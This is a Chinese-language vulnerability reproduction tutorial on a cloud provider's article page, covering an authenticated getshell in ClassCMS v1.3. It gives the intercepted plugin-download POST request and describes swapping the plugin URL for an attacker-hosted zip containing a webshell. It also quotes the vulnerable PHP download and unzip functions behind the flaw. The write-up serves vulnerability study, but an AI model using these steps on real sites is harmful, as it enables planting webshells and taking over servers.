温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

如何进行ClassCMS后台getshell 复现

发布时间:2021-11-11 09:19:30 来源:亿速云 阅读:198 作者:柒染 栏目:网络管理

如何进行ClassCMS后台getshell 复现,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。

ClassCMS 简介

ClassCMS 官网 :https://classcms.com/

ClassCMS是一款简洁灵活的开源内容管理系统,可以非常方便的通过它来快速开发各种网站应用。

兼容PHP5.2--PHP8.0,在APACHE、NGINX、IIS上都能使用,默认支持MySQL SQLite两种数据库,支持上百万数据量。

系统没有多余的功能,整体安装包不到1M(去掉编辑器与Layui后不到300KB),拥有完善与灵活的应用插件机制,常用功能均可制作成应用插件.

系统模板语言简单,只需要懂HTML+CSS即可制作简单的网站模板.


后台页面基于Layui制作,自适应页面,在手机端也有不错的使用体验.

通过后台模型,可以快速增加栏目,支持无限级栏目,栏目网址支持中文.

拥有各类输入框类型,能快速扩展文章字段,栏目变量,用户属性,通过应用插件也可方便的扩展制作各类输入框.

后台有完善的权限体系,可自定义每个角色的权限,,可自定义栏目与输入框与的查看修改权限.

ClassCMS 后台Getshell 黑盒测试复现

ClassCMS下载最新版本 v1.3

如何进行ClassCMS后台getshell 复现

程序下载解压过后如下图

如何进行ClassCMS后台getshell 复现

搭建环境并启动

如何进行ClassCMS后台getshell 复现

配置好配置

如何进行ClassCMS后台getshell 复现

如何进行ClassCMS后台getshell 复现

如何进行ClassCMS后台getshell 复现

如何进行ClassCMS后台getshell 复现

打开应用管理--应用商店

如何进行ClassCMS后台getshell 复现

随便点击某个应用进行下载

如何进行ClassCMS后台getshell 复现

如何进行ClassCMS后台getshell 复现

点击下载时进行抓包

如何进行ClassCMS后台getshell 复现

如何进行ClassCMS后台getshell 复现

获取一下返回包

如何进行ClassCMS后台getshell 复现

这个时候会返回一个插件下载地址

继续Forward

如何进行ClassCMS后台getshell 复现

POST /admin/?do=shop:downloadClass&ajax=1 HTTP/1.1Host: 192.168.253.1:8013Content-Length: 142Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://192.168.253.1:8013Referer: http://192.168.253.1:8013/admin/?do=shop:index&bread=304%E7%BC%93%E5%AD%98%E6%8F%92%E4%BB%B6&action=detail&classhash=cache304Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: token_43f1a9=53f68d86f94ad3c93551924e77d0e91a; csrf_43f1a9=5f5244ceConnection: closeclasshash=cache304&url=http%3A%2F%2Fclasscms.com%2Fshop%2F%3Faction%3Ddownload%26version%3D1.0%26classhash%3Dcache304%26token%3D&csrf=5f5244ce

向 /admin/?do=shop:downloadClass&ajax=1 POST 了一个插件地址和插件名称

新建一个小马并压缩

如何进行ClassCMS后台getshell 复现

如何进行ClassCMS后台getshell 复现

上传到服务器,并能够下载的地方,也可以在网站处寻找文件上传的地方

修改网址为压缩包的地址如何进行ClassCMS后台getshell 复现

如何进行ClassCMS后台getshell 复现

然后访问

http://192.168.253.1:8013/class/cache304/index.php

如何进行ClassCMS后台getshell 复现

已经成功上传了小马

如何进行ClassCMS后台getshell 复现

ClassCMS 后台Getshell 白盒测试复现

直接查看/class/shop/shop.php 的第82行

如何进行ClassCMS后台getshell 复现

直接调用了this:download函数

function download($url,$filepath) {$curl=curl_init();curl_setopt($curl,CURLOPT_URL,$url);if(!$fp = @fopen ($filepath,'w+')) {Return false;}curl_setopt($curl,CURLOPT_FILE, $fp);curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,10);curl_setopt($curl,CURLOPT_TIMEOUT,300);curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,FALSE);curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,FALSE);$info=curl_exec($curl);$httpinfo=curl_getinfo($curl);curl_close($curl);fclose($fp);if($httpinfo['http_code']>=300) {@unlink($filepath);Return false;}Return $info;}}

然后再到92行

如何进行ClassCMS后台getshell 复现

if(C('cms:class:unzip',$classfile,$classdir)) {@unlink($classfile);if(C('cms:class:refresh',$classhash)) {echo(json_encode(array('msg'=>"下载完成,请在应用管理页面中安装此应用")));Return ;}else {echo(json_encode(array('msg'=>"安装包格式错误,请重试",'error'=>1)));Return ;}}else{@unlink($classfile);echo(json_encode(array('msg'=>"安装包解压失败,请重试",'error'=>1)));Return ;}

调用了/cms/class.php 下面的unzip方法

function unzip($src_file, $dest_dir=false, $create_zip_name_dir=true, $overwrite=true) {if(class_exists('ZipArchive')) {$zip = new ZipArchive;if ($zip->open($src_file) === TRUE){if(@$zip->extractTo($dest_dir)) {$zip->close();Return true;}$zip->close();}}elseif(function_exists('zip_open')) {if(!cms_createdir($dest_dir)) {Return false;}if ($zip = zip_open($src_file)){if ($zip){if($create_zip_name_dir){$splitter='.';}else {$splitter='/';}if ($dest_dir === false){$dest_dir = substr($src_file, 0, strrpos($src_file, $splitter))."/";}while ($zip_entry = @zip_read($zip)){$pos_last_slash = strrpos(zip_entry_name($zip_entry), "/");if ($pos_last_slash !== false){cms_createdir($dest_dir.substr(zip_entry_name($zip_entry), 0, $pos_last_slash+1));}if (zip_entry_open($zip,$zip_entry,"r")){$file_name = $dest_dir.zip_entry_name($zip_entry);if ($overwrite === true || $overwrite === false && !is_file($file_name)){$fstream = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));@file_put_contents($file_name, $fstream);}zip_entry_close($zip_entry);}}@zip_close($zip);}Return true;}}Return false;}

直接就会将下载的文件进行解压,从而构成后台getshell

看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注亿速云行业资讯频道,感谢您对亿速云的支持。

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI